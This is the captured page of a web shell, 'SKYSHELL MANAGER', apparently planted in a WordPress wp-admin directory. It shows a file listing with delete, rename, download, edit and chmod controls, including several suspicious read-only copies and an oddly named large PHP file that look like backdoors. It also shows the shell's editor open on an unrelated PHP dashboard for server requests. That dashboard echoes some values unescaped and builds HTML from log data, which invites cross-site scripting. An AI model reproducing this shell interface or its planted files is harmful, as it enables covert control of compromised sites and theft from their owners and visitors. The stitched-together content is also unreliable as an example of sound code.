📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-ajax.php
5.03 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-functions.php
0.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-advanced.php
28.79 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-tags.php
21.98 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tools.php
3.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets.php
1.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: existing-server-status.php
<?php require_once 'config/auth.php'; require_once 'config/db.php'; error_reporting(E_ALL); ini_set('display_errors', 1); // 1. Ensure user is authenticated if (!isset($_SESSION['user'])) { header("Location: index.php"); exit(); } $user = $_SESSION['user']; $user_id = (int)($user['id'] ?? 0); $user_username = trim($user['username'] ?? ''); $user_role = strtolower(trim($user['role'] ?? 'user')); $user_company = strtolower(trim($user['company'] ?? '')); $user_email = strtolower(trim($user['email'] ?? $user['username'] ?? '')); // 2. Dynamic Access Control via DB Permissions Table (UNCHANGED) $isAdmin = ($user_role === 'admin'); $isManagement = in_array($user_role, ['management', 'admin']); $isManager = ($user_role === 'manager'); $isSales = in_array($user_role, ['sales', 'sales team']); $isServerTeam = in_array($user_role, ['server_team', 'server team']); $isUser = ($user_role === 'user'); // Fetch user permissions from database $permStmt = mysqli_prepare($conn, "SELECT * FROM user_permissions WHERE user_id = ? LIMIT 1"); mysqli_stmt_bind_param($permStmt, "i", $user_id); mysqli_stmt_execute($permStmt); $permResult = mysqli_stmt_get_result($permStmt); $userPerms = mysqli_fetch_assoc($permResult); // Parse JSON stored dynamic permissions $allowedCompanies = json_decode($userPerms['companies'] ?? '[]', true) ?: []; $allowedStatuses = json_decode($userPerms['allowed_statuses'] ?? '[]', true) ?: []; // Flags for field visibility $showPurchaseDetails = $isAdmin || !empty($userPerms['show_purchase_details']); $showConfigDetails = $isAdmin || !empty($userPerms['show_config_details']); // Build Dynamic SQL Filter $whereClauses = []; // STRICT USER RULE: System users with role 'user' strictly see ONLY their own requests if ($isUser) { $whereClauses[] = "LOWER(username) = '" . mysqli_real_escape_string($conn, strtolower($user_username)) . "'"; } // SPECIAL RULE FOR SERVER TEAM: Show strictly from 'Order Processing' onwards elseif ($isServerTeam) { $serverTeamStatuses = [ 'pending', 'under configuration', 'configuration', 'configured', 'delivered', 'success', 'completed' ]; $escapedServerStatuses = array_map(function($s) use ($conn) { return "'" . mysqli_real_escape_string($conn, $s) . "'"; }, $serverTeamStatuses); $whereClauses[] = "LOWER(status) IN (" . implode(',', $escapedServerStatuses) . ")"; } // OTHER ROLES (Managers, Management, Sales, Admin) else { if (!$isAdmin && !empty($allowedCompanies) && !in_array('All', $allowedCompanies)) { $escapedCompanies = array_map(function($c) use ($conn) { return "'" . mysqli_real_escape_string($conn, strtolower(trim($c))) . "'"; }, $allowedCompanies); $whereClauses[] = "LOWER(company) IN (" . implode(',', $escapedCompanies) . ")"; } if (!$isAdmin && !empty($allowedStatuses) && !in_array('All', $allowedStatuses)) { $escapedStatuses = array_map(function($s) use ($conn) { return "'" . mysqli_real_escape_string($conn, strtolower(trim($s))) . "'"; }, $allowedStatuses); $whereClauses[] = "LOWER(status) IN (" . implode(',', $escapedStatuses) . ")"; } if (!$isAdmin && empty($userPerms)) { if (!empty($user_company)) { $whereClauses[] = "LOWER(company) = '" . mysqli_real_escape_string($conn, $user_company) . "'"; } else { $whereClauses[] = "LOWER(username) = '" . mysqli_real_escape_string($conn, strtolower($user_username)) . "'"; } } } // Final Role SQL Clause $roleWhere = !empty($whereClauses) ? implode(' AND ', $whereClauses) : "1=1"; // 3. UPDATED: Fetch stats for summary cards according to exact mapping rules $totalReqs = 0; $pendingReqs = 0; // pending, under review $approvedReqs = 0; // approved $processReqs = 0; // validation $successReqs = 0; // completed $statSql = "SELECT LOWER(status) as st, COUNT(*) as count FROM existing_server_requests WHERE $roleWhere GROUP BY LOWER(status)"; $statRes = mysqli_query($conn, $statSql); if ($statRes) { while ($row = mysqli_fetch_assoc($statRes)) { $st = trim($row['st']); $cnt = (int)$row['count']; $totalReqs += $cnt; if (in_array($st, ['pending', 'under review'])) { $pendingReqs += $cnt; } elseif ($st === 'approved') { $approvedReqs += $cnt; } elseif ($st === 'validation') { $processReqs += $cnt; } elseif ($st === 'completed') { $successReqs += $cnt; } } } // 4. Handle Filters, Pagination, and Request Fetching $filterStatus = $_GET['status'] ?? 'all'; $filterCompany = $_GET['company'] ?? 'all'; $filterFromDate = $_GET['from_date'] ?? ''; $filterToDate = $_GET['to_date'] ?? ''; $filterRows = (int)($_GET['rows'] ?? 50); $page = max(1, (int)($_GET['page'] ?? 1)); // Role Check: Exclude 'user' and 'manager' from company filter selection $currentUserRole = strtolower(trim($user['role'] ?? '')); $canFilterCompany = !in_array($currentUserRole, ['user', 'manager']); $whereConditions = [$roleWhere]; // Fetch all unique companies present in the existing_server_requests table $allCompanies = []; $compQuery = "SELECT DISTINCT company FROM existing_server_requests WHERE company IS NOT NULL AND company != '' ORDER BY company ASC"; $compResult = mysqli_query($conn, $compQuery); if ($compResult) { while ($row = mysqli_fetch_assoc($compResult)) { $allCompanies[] = $row['company']; } } // Company Filter condition if ($canFilterCompany && !empty($filterCompany) && strtolower($filterCompany) !== 'all') { $fc = mysqli_real_escape_string($conn, trim($filterCompany)); $whereConditions[] = "LOWER(company) = LOWER('$fc')"; } // Status Filter Logic if (!empty($filterStatus) && $filterStatus !== 'all') { $fs = strtolower(trim($filterStatus)); if ($fs === 'order processing') { $whereConditions[] = "LOWER(status) IN ('order processing')"; } elseif ($fs === 'under configuration') { $whereConditions[] = "LOWER(status) IN ('under configuration', 'configuration')"; } elseif ($fs === 'delivered') { $whereConditions[] = "LOWER(status) IN ('delivered', 'success', 'completed')"; } else { $whereConditions[] = "LOWER(status) = '" . mysqli_real_escape_string($conn, $fs) . "'"; } } // Date Filter Logic if (!empty($filterFromDate) && !empty($filterToDate)) { $fromDateEsc = mysqli_real_escape_string($conn, $filterFromDate); $toDateEsc = mysqli_real_escape_string($conn, $filterToDate); $whereConditions[] = "DATE(created_at) BETWEEN '$fromDateEsc' AND '$toDateEsc'"; } elseif (!empty($filterFromDate)) { $fromDateEsc = mysqli_real_escape_string($conn, $filterFromDate); $whereConditions[] = "DATE(created_at) = '$fromDateEsc'"; } elseif (!empty($filterToDate)) { $toDateEsc = mysqli_real_escape_string($conn, $filterToDate); $whereConditions[] = "DATE(created_at) <= '$toDateEsc'"; } $whereClause = implode(" AND ", $whereConditions); // --- PAGINATION CALCULATION --- $countSql = "SELECT COUNT(*) as total FROM existing_server_requests WHERE $whereClause"; $countRes = mysqli_query($conn, $countSql); $totalRows = ($countRes) ? (int)mysqli_fetch_assoc($countRes)['total'] : 0; $totalPages = max(1, ceil($totalRows / $filterRows)); $page = min($page, $totalPages); $offset = ($page - 1) * $filterRows; // Fetch Paginated Results from existing_server_requests $query = "SELECT * FROM existing_server_requests WHERE $whereClause ORDER BY id DESC LIMIT $filterRows OFFSET $offset"; $requests = mysqli_query($conn, $query); function getPaginationUrl($pageNum) { $params = $_GET; $params['page'] = $pageNum; return 'existing-server-status.php?' . http_build_query($params); } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title><?php echo htmlspecialchars($_SESSION['user']['company_name'] ?? 'Dashboard'); ?> | Existing Server Status</title> <link rel="icon" type="image/x-icon" href="<?php echo htmlspecialchars($_SESSION['user']['fav']); ?>"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/5.3.3/css/bootstrap.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-icons/1.11.3/font/bootstrap-icons.min.css"> <link rel="preconnect" href="https://fonts.googleapis.com"> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&display=swap" rel="stylesheet"> <link rel="stylesheet" href="css/style.css"> <style> .stat-card { background: #fff; border-radius: 12px; padding: 18px 20px; border: 1px solid #f0f0f0; box-shadow: 0 2px 6px rgba(0,0,0,0.02); } .stat-icon { width: 42px; height: 42px; border-radius: 10px; display: flex; align-items: center; justify-content: center; font-size: 1.2rem; } .table-custom { vertical-align: middle; font-size: 0.85rem; } .table-custom th { font-size: 0.72rem; text-transform: uppercase; letter-spacing: 0.5px; color: #888; background: #fafafa; border-bottom: 1px solid #eee; padding: 12px 10px; } .badge-spec { background: #eef2ff; color: #073e8d; font-size: 0.75rem; font-weight: 500; padding: 4px 8px; border-radius: 6px; display: inline-block; } .timeline-vertical-wrapper { position: relative; padding: 10px 0 10px 15px; margin: 5px 0; } .timeline-vertical-wrapper::before { content: ''; position: absolute; top: 12px; bottom: 12px; left: 19px; width: 2px; background: #e2e8f0; z-index: 1; } .timeline-v-item { position: relative; display: flex; align-items: flex-start; gap: 16px; margin-bottom: 28px; } .timeline-v-item:last-child { margin-bottom: 0; } .timeline-v-dot { width: 10px; height: 10px; border-radius: 50%; background: #0f172a; z-index: 2; margin-top: 6px; flex-shrink: 0; box-shadow: 0 0 0 3px #ffffff; } .timeline-v-content { width: 100%; } .timeline-v-title { font-weight: 700; font-size: 0.95rem; color: #0f172a; margin-bottom: 3px; } .timeline-v-note { color: #475569; font-size: 0.85rem; margin-bottom: 6px; line-height: 1.4; } .timeline-v-meta { color: #94a3b8; font-size: 0.75rem; display: flex; align-items: center; gap: 12px; } </style> </head> <body class="dash-body"> <div class="sidebar-backdrop"></div> <!-- ===================== SIDEBAR ===================== --> <aside class="sidebar"> <a href="#" class="sidebar-brand text-decoration-none"> <img src="<?php echo htmlspecialchars($_SESSION['user']['logo']); ?>" alt="company" width="150"> </a> <nav class="sidebar-nav"> <div class="sidebar-section-label">MAIN</div> <!-- ================= 1. SERVER REQUIREMENT DROPDOWN ================= --> <div class="nav-item"> <a class="nav-link dropdown-toggle d-flex align-items-center justify-content-between " href="#menuRequirement" data-bs-toggle="collapse" role="button" aria-expanded="false" aria-controls="menuRequirement"> <span><i class="bi bi-file-earmark-plus me-2"></i>New Server</span> </a> <div class="collapse submenu-wrap ps-3" id="menuRequirement"> <?php if (!$isSales && !$isServerTeam): ?> <a href="new-server-requirement.php" class="nav-link submenu-link"> Requirement </a> <?php endif; ?> <a href="new-server-status.php" class="nav-link submenu-link"> Status </a> </div> </div> <!-- ================= 2. SERVER STATUS DROPDOWN ================= --> <?php if (!$isServerTeam): ?> <div class="nav-item"> <a class="nav-link dropdown-toggle d-flex align-items-center justify-content-between active" href="#menuStatus" data-bs-toggle="collapse" role="button" aria-expanded="true" aria-controls="menuStatus"> <span><i class="bi bi-list-check me-2"></i>Existing Server</span> </a> <div class="collapse show submenu-wrap ps-3" id="menuStatus"> <?php if (!$isSales && !$isServerTeam): ?> <a href="existing-server-requirement.php" class="nav-link submenu-link"> Requirement </a> <?php endif; ?> <a href="existing-server-status.php" class="nav-link submenu-link subactive"> Status </a> <?php if($isSales): ?> <a href="manage_alias.php" class="nav-link submenu-link"> Add Alias </a> <?php endif; ?> </div> </div> <?php endif; ?> <!-- ================= 3. MANAGEMENT ================= --> <?php if($isManagement || $isAdmin): ?> <div class="sidebar-section-label mt-3">MANAGEMENT</div> <a href="manage-users.php" class="nav-link"><i class="bi bi-people me-2"></i> Manage Users</a> <?php endif; ?> </nav> <div class="sidebar-footer"> <div class="mt-4 small text-center text-muted"> <small>Developed by - Redaries</small> </div> </div> </aside> <!-- ===================== MAIN WRAPPER ===================== --> <div class="main-wrap"> <!-- Topbar --> <div class="topbar d-flex justify-content-between align-items-center"> <div class="d-flex align-items-center gap-3"> <button class="btn btn-menu btn-outline-secondary d-md-none"><i class="bi bi-list"></i></button> <div> <div class="fw-bold fs-5">Existing Server Status</div> <div class="breadcrumb-mini text-muted small">Dashboard / Existing Server Status</div> </div> </div> <div class="d-flex align-items-center gap-3"> <div class="dropdown"> <button class="btn btn-light dropdown-toggle d-flex align-items-center gap-2 border" type="button" data-bs-toggle="dropdown"> <i class="bi bi-person-circle text-primary fs-5"></i> <span class="fw-semibold small"><?php echo htmlspecialchars($user['username'] ?? 'User'); ?></span> </button> <ul class="dropdown-menu dropdown-menu-end shadow-sm border-0"> <li><a class="dropdown-item text-danger d-flex align-items-center gap-2" href="logout.php"><i class="bi bi-box-arrow-right"></i> Logout</a></li> </ul> </div> </div> </div> <div class="page-content p-4"> <!-- Notifications --> <?php if(isset($_SESSION['success'])): ?> <div class="alert alert-success alert-dismissible fade show mb-4" role="alert"> <i class="bi bi-check-circle-fill me-2"></i> <?php echo $_SESSION['success']; unset($_SESSION['success']); ?> <button type="button" class="btn-close" data-bs-dismiss="alert"></button> </div> <?php endif; ?> <?php if(isset($_SESSION['error'])): ?> <div class="alert alert-danger alert-dismissible fade show mb-4" role="alert"> <i class="bi bi-exclamation-triangle-fill me-2"></i> <?php echo $_SESSION['error']; unset($_SESSION['error']); ?> <button type="button" class="btn-close" data-bs-dismiss="alert"></button> </div> <?php endif; ?> <!-- Summary Metrics Cards --> <div class="row g-3 mb-4"> <div class="col-md-2 col-6"> <div class="stat-card d-flex align-items-center gap-3"> <div class="stat-icon bg-primary-subtle text-primary"><i class="bi bi-file-text"></i></div> <div> <div class="fs-4 fw-bold"><?php echo $totalReqs; ?></div> <div class="text-muted small">Total Requests</div> </div> </div> </div> <div class="col-md-2 col-6"> <div class="stat-card d-flex align-items-center gap-3"> <div class="stat-icon bg-warning-subtle text-warning"><i class="bi bi-hourglass-split"></i></div> <div> <div class="fs-4 fw-bold"><?php echo $pendingReqs; ?></div> <div class="text-muted small">Pending</div> </div> </div> </div> <div class="col-md-2 col-6"> <div class="stat-card d-flex align-items-center gap-3"> <div class="stat-icon bg-info-subtle text-info"><i class="bi bi-check-circle"></i></div> <div> <div class="fs-4 fw-bold"><?php echo $approvedReqs; ?></div> <div class="text-muted small">Approved</div> </div> </div> </div> <div class="col-md-2 col-6"> <div class="stat-card d-flex align-items-center gap-3"> <div class="stat-icon bg-primary-subtle text-primary"><i class="bi bi-arrow-repeat"></i></div> <div> <div class="fs-4 fw-bold"><?php echo $processReqs; ?></div> <div class="text-muted small">Processing</div> </div> </div> </div> <div class="col-md-2 col-6"> <div class="stat-card d-flex align-items-center gap-3"> <div class="stat-icon bg-success-subtle text-success"><i class="bi bi-check2-all"></i></div> <div> <div class="fs-4 fw-bold"><?php echo $successReqs; ?></div> <div class="text-muted small">Success</div> </div> </div> </div> </div> <!-- Table Container --> <div class="card border-0 shadow-sm rounded-3"> <div class="card-body p-4"> <!-- Filter Bar --> <form method="GET" action="existing-server-status.php" class="row align-items-center g-2 mb-4"> <div class="col-md"> <h6 class="fw-bold mb-0"> <?php echo $isUser ? 'My Existing Server Requests' : 'All Existing Server Requests'; ?> </h6> </div> <!-- Company Select Filter --> <?php if ($canFilterCompany): ?> <div class="col-auto"> <label class="form-label small text-muted mb-0">Company</label> <select name="company" class="form-select form-select-sm" onchange="this.form.submit()"> <option value="all" <?php if(($filterCompany ?? 'all') === 'all') echo 'selected'; ?>>All Companies</option> <?php if (!empty($allCompanies)): ?> <?php foreach ($allCompanies as $compName): ?> <option value="<?php echo htmlspecialchars($compName); ?>" <?php if(strtolower($filterCompany ?? '') === strtolower($compName)) echo 'selected'; ?>> <?php echo ucfirst($compName); ?> </option> <?php endforeach; ?> <?php endif; ?> </select> </div> <?php endif; ?> <!-- Status Filter --> <div class="col-auto"> <label class="form-label small text-muted mb-0">Status</label> <select name="status" class="form-select form-select-sm" onchange="this.form.submit()"> <option value="all" <?php if(($filterStatus ?? 'all') === 'all') echo 'selected'; ?>>All Status</option> <option value="pending" <?php if(($filterStatus ?? '') === 'pending') echo 'selected'; ?>>Pending</option> <option value="under review" <?php if(($filterStatus ?? '') === 'under review') echo 'selected'; ?>>Under Review</option> <option value="approved" <?php if(($filterStatus ?? '') === 'approved') echo 'selected'; ?>>Approved</option> <option value="rejected" <?php if(($filterStatus ?? '') === 'rejected') echo 'selected'; ?>>Rejected</option> <option value="validation" <?php if(($filterStatus ?? '') === 'validation') echo 'selected'; ?>>Validation</option> <option value="completed" <?php if(($filterStatus ?? '') === 'completed') echo 'selected'; ?>>Completed</option> </select> </div> <div class="col-auto"> <label class="form-label small text-muted mb-0">From Date</label> <input type="date" name="from_date" class="form-control form-control-sm" value="<?php echo htmlspecialchars($filterFromDate); ?>" onchange="this.form.submit()"> </div> <div class="col-auto"> <label class="form-label small text-muted mb-0">To Date</label> <input type="date" name="to_date" class="form-control form-control-sm" value="<?php echo htmlspecialchars($filterToDate); ?>" onchange="this.form.submit()"> </div> <div class="col-auto"> <label class="form-label small text-muted mb-0">Show Rows</label> <select name="rows" class="form-select form-select-sm" onchange="this.form.submit()"> <option value="50" <?php if($filterRows === 50) echo 'selected'; ?>>50</option> <option value="100" <?php if($filterRows === 100) echo 'selected'; ?>>100</option> <option value="250" <?php if($filterRows === 250) echo 'selected'; ?>>250</option> </select> </div> <div class="col-auto align-self-end"> <a href="existing-server-status.php" class="btn btn-sm btn-outline-secondary"><i class="bi bi-arrow-counterclockwise"></i> Reset</a> </div> </form> <!-- Data Table --> <div class="table-responsive"> <table class="table table-hover table-custom align-middle"> <thead> <tr> <th>REQUESTED BY</th> <th>CLASS</th> <th>ALIAS</th> <th>ACTION</th> <th>NOTES</th> <th>PRIORITY</th> <th>CREATED DATE</th> <th>STATUS</th> <th class="text-center">ORDER DETAILS</th> </tr> </thead> <tbody> <?php if($requests && mysqli_num_rows($requests) > 0): ?> <?php while($row = mysqli_fetch_assoc($requests)): ?> <?php $reqId = $row['request_id'] ?? ('RQT-' . $row['id']); $class = $row['class'] ?? 'N/A'; $serverAlias = $row['server_alias'] ?? 'N/A'; $action = $row['server_action'] ?? 'N/A'; $createdDate = !empty($row['created_at']) ? date('d-m-Y', strtotime($row['created_at'])) : 'N/A'; $reqDate = !empty($row['requested_date']) ? date('d-m-Y', strtotime($row['requested_date'])) : (!empty($row['required_by']) ? date('d-m-Y', strtotime($row['required_by'])) : 'N/A'); $st = $row['status'] ?? 'pending'; $stLower = strtolower(trim($st)); $priority = ucfirst($row['priority'] ?? 'Medium'); $badgeClass = 'bg-secondary'; if ($stLower === 'pending') { $badgeClass = 'bg-warning text-dark'; } elseif ($stLower === 'under review') { $badgeClass = 'bg-info text-dark'; } elseif ($stLower === 'approved') { $badgeClass = 'bg-success'; } elseif ($stLower === 'rejected') { $badgeClass = 'bg-danger'; } elseif ($stLower === 'validation') { $badgeClass = 'bg-primary'; } elseif (in_array($stLower, ['completed', 'success'])) { $badgeClass = 'bg-success'; } $canEdit = false; if ($isAdmin || $isManagement || $isManager) { $canEdit = in_array($stLower, ['pending', 'under review']); } elseif ($isSales) { $canEdit = in_array($stLower, ['approved', 'validation']); } ?> <tr> <td> <span class="fw-bold text-dark"><?php echo htmlspecialchars($reqId); ?></span><br> <span class="fw-bold text-dark">User : </span><?php echo htmlspecialchars($row['username'] ?? ''); ?><br> <span class="fw-bold text-dark">Company : </span><?php echo htmlspecialchars($row['company'] ?? ''); ?><br> <span class="fw-bold text-dark">Department : </span><?php echo htmlspecialchars($row['department'] ?? 'Production'); ?><br> <span class="fw-bold text-dark">Team : </span><?php echo htmlspecialchars($row['team'] ?? 'N/A'); ?> </td> <td><?php echo htmlspecialchars($class); ?></td> <td> <span class="badge bg-light text-dark border"> <?php echo htmlspecialchars($serverAlias); ?><br> </span> </td> <td><?php echo htmlspecialchars($action); ?></td> <td style="width: 180px;"> <div class="note-scroll-box"> <?php echo htmlspecialchars($row['notes'] ?? 'N/A'); ?> </div> </td> <td> <span class="badge bg-opacity-10 text-<?php echo ($priority === 'High' || $priority === 'Urgent') ? 'danger' : 'primary'; ?> bg-primary rounded-pill px-2"> <?php echo $priority; ?> </span> </td> <td> <?php echo $createdDate; ?><br> <?php echo $reqDate; ?> </td> <td> <span class="badge <?php echo $badgeClass; ?> px-2 py-1"> <?php echo htmlspecialchars(ucwords($st)); ?> </span> </td> <td class="text-center"> <div class="d-flex justify-content-center gap-1"> <button class="btn btn-sm btn-primary px-2 rounded-2 btn-view-history" data-id="<?php echo $row['id']; ?>" data-reqid="<?php echo htmlspecialchars($reqId); ?>"> <i class="bi bi-clock-history me-1"></i> View </button> <?php if($canEdit): ?> <button class="btn btn-sm btn-warning text-dark px-2 rounded-2 btn-edit-action" data-id="<?php echo $row['id']; ?>" data-reqid="<?php echo htmlspecialchars($reqId); ?>" data-status="<?php echo htmlspecialchars($st); ?>"> <i class="bi bi-pencil-square me-1"></i> Edit </button> <?php endif; ?> </div> </td> </tr> <?php endwhile; ?> <?php else: ?> <tr> <td colspan="16" class="text-center py-4 text-muted">No server requests found.</td> </tr> <?php endif; ?> </tbody> </table> <?php if ($totalRows > 0): ?> <div class="d-flex justify-content-between align-items-center mt-3 pt-3 border-top"> <div class="text-muted small"> Showing <?php echo min($offset + 1, $totalRows); ?> to <?php echo min($offset + $filterRows, $totalRows); ?> of <?php echo $totalRows; ?> requests </div> <?php if ($totalPages > 1): ?> <nav aria-label="Page navigation"> <ul class="pagination pagination-sm mb-0"> <li class="page-item <?php if($page <= 1) echo 'disabled'; ?>"> <a class="page-link" href="<?php echo getPaginationUrl($page - 1); ?>"><i class="bi bi-chevron-left"></i> Previous</a> </li> <?php for($i = 1; $i <= $totalPages; $i++): ?> <li class="page-item <?php if($page === $i) echo 'active'; ?>"> <a class="page-link" href="<?php echo getPaginationUrl($i); ?>"><?php echo $i; ?></a> </li> <?php endfor; ?> <li class="page-item <?php if($page >= $totalPages) echo 'disabled'; ?>"> <a class="page-link" href="<?php echo getPaginationUrl($page + 1); ?>">Next <i class="bi bi-chevron-right"></i></a> </li> </ul> </nav> <?php endif; ?> </div> <?php endif; ?> </div> </div> </div> </div> </div> <!-- Modal 1: View Order History Timeline --> <div class="modal fade" id="historyModal" tabindex="-1" aria-hidden="true"> <div class="modal-dialog modal-dialog-centered modal-lg"> <div class="modal-content border-0 shadow"> <div class="modal-header border-bottom-0"> <h6 class="modal-title fw-bold" id="modalTitle">Order History Timeline</h6> <button type="button" class="btn-close" data-bs-dismiss="modal"></button> </div> <div class="modal-body p-4" id="historyTimelineBody"> <div class="text-center py-4 text-muted"> <div class="spinner-border spinner-border-sm text-primary" role="status"></div> <span class="ms-2">Loading timeline history...</span> </div> </div> </div> </div> </div> <!-- Modal 2: Management / Manager Edit Modal --> <?php if ($isAdmin || $isManagement || $isManager): ?> <div class="modal fade" id="managerModal" tabindex="-1" aria-hidden="true"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content border-0 shadow"> <form action="existing_update_status.php" method="POST"> <input type="hidden" name="type" value="existing"> <input type="hidden" name="action_type" value="management"> <input type="hidden" name="request_db_id" class="edit-id"> <div class="modal-header border-bottom-0"> <h6 class="modal-title fw-bold modal-title-text">Management Review</h6> <button type="button" class="btn-close" data-bs-dismiss="modal"></button> </div> <div class="modal-body p-4"> <div class="mb-3"> <label class="form-label fw-semibold small">Status Action</label> <select name="new_status" class="form-select" required> <option value="Under Review">Under Review</option> <option value="Approved">Approved</option> <option value="Rejected">Rejected</option> </select> </div> <div class="mb-3"> <label class="form-label fw-semibold small">Message Note <span class="text-muted fw-normal">(Optional)</span></label> <textarea name="status_note" class="form-control" rows="3" placeholder="Enter decision notes..."></textarea> </div> </div> <div class="modal-footer border-top-0 pt-0"> <button type="button" class="btn btn-sm btn-light border px-3" data-bs-dismiss="modal">Cancel</button> <button type="submit" class="btn btn-sm btn-primary px-4">Submit</button> </div> </form> </div> </div> </div> <?php endif; ?> <!-- Modal 3: Sales Team Edit Modal --> <?php if ($isSales || $isAdmin): ?> <div class="modal fade" id="salesModal" tabindex="-1" aria-hidden="true"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content border-0 shadow"> <form action="existing_update_status.php" method="POST"> <input type="hidden" name="type" value="existing"> <input type="hidden" name="action_type" value="sales"> <input type="hidden" name="request_db_id" class="edit-id"> <input type="hidden" name="new_status" class="sales-target-status" value="Validation"> <div class="modal-header border-bottom-0"> <h6 class="modal-title fw-bold modal-title-text">Sales Handover</h6> <button type="button" class="btn-close" data-bs-dismiss="modal"></button> </div> <div class="modal-body p-4"> <div class="alert alert-warning sales-validation-notice mb-3" style="display:none;"> <i class="bi bi-info-circle me-1"></i> Submit initial validation for this request. Status will change to <strong>Validation</strong>. </div> <div class="alert alert-success sales-delivery-notice mb-3" style="display:none;"> <i class="bi bi-info-circle me-1"></i> Confirm completion for this request. Status will change to <strong>Completed</strong>. </div> <div class="mb-3"> <label class="form-label fw-semibold small">Message Notes <span class="text-muted fw-normal">(Optional)</span></label> <textarea name="status_note" class="form-control" rows="3" placeholder="Handover comments..."></textarea> </div> </div> <div class="modal-footer border-top-0 pt-0"> <button type="button" class="btn btn-sm btn-light border px-3" data-bs-dismiss="modal">Cancel</button> <button type="submit" class="btn btn-sm btn-primary px-4 sales-submit-btn">Submit</button> </div> </form> </div> </div> </div> <?php endif; ?> <script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/5.3.3/js/bootstrap.bundle.min.js"></script> <script> document.addEventListener("DOMContentLoaded", function () { const role = "<?php echo $user_role; ?>"; // Timeline View Modal Script const historyModal = new bootstrap.Modal(document.getElementById('historyModal')); const timelineBody = document.getElementById('historyTimelineBody'); const modalTitle = document.getElementById('modalTitle'); document.querySelectorAll('.btn-view-history').forEach(btn => { btn.addEventListener('click', function () { const dbId = this.getAttribute('data-id'); const reqId = this.getAttribute('data-reqid') || `REQ-#${dbId}`; modalTitle.textContent = `Order History Timeline - ${reqId}`; timelineBody.innerHTML = ` <div class="text-center py-4 text-muted"> <div class="spinner-border spinner-border-sm text-dark" role="status"></div> <span class="ms-2">Loading timeline history...</span> </div>`; historyModal.show(); const defaultNotesMap = { 'pending': 'Your request has been sent successfully', 'under review': 'Your request is under review', 'approved': 'Your request has been approved successfully', 'rejected': 'Unfortunately, your request could not be processed', 'validation': 'Sales team is validating your request', 'completed': 'Your request has been successfully completed' }; fetch(`existing_get_history.php?id=${dbId}&type=existing`) .then(response => response.json()) .then(data => { if (data.status === 'success' && data.logs && data.logs.length > 0) { let html = '<div class="timeline-vertical-wrapper">'; data.logs.forEach((log) => { const stLower = (log.to_status || '').toLowerCase().trim(); let note = log.action_notes; if (!note || note.trim() === '' || note.toLowerCase() === 'no notes provided.' || note.toLowerCase() === 'status updated successfully') { note = defaultNotesMap[stLower] || 'Status updated successfully'; } html += ` <div class="timeline-v-item"> <div class="timeline-v-dot"></div> <div class="timeline-v-content"> <div class="timeline-v-title">${log.to_status}</div> <div class="timeline-v-note">${note}</div> <div class="timeline-v-meta"> <span><strong>${log.actor_role}</strong></span> ${log.created_at ? `<span>•</span><span>${log.created_at}</span>` : ''} </div> </div> </div>`; }); html += '</div>'; timelineBody.innerHTML = html; } else { timelineBody.innerHTML = ` <div class="timeline-vertical-wrapper"> <div class="timeline-v-item"> <div class="timeline-v-dot"></div> 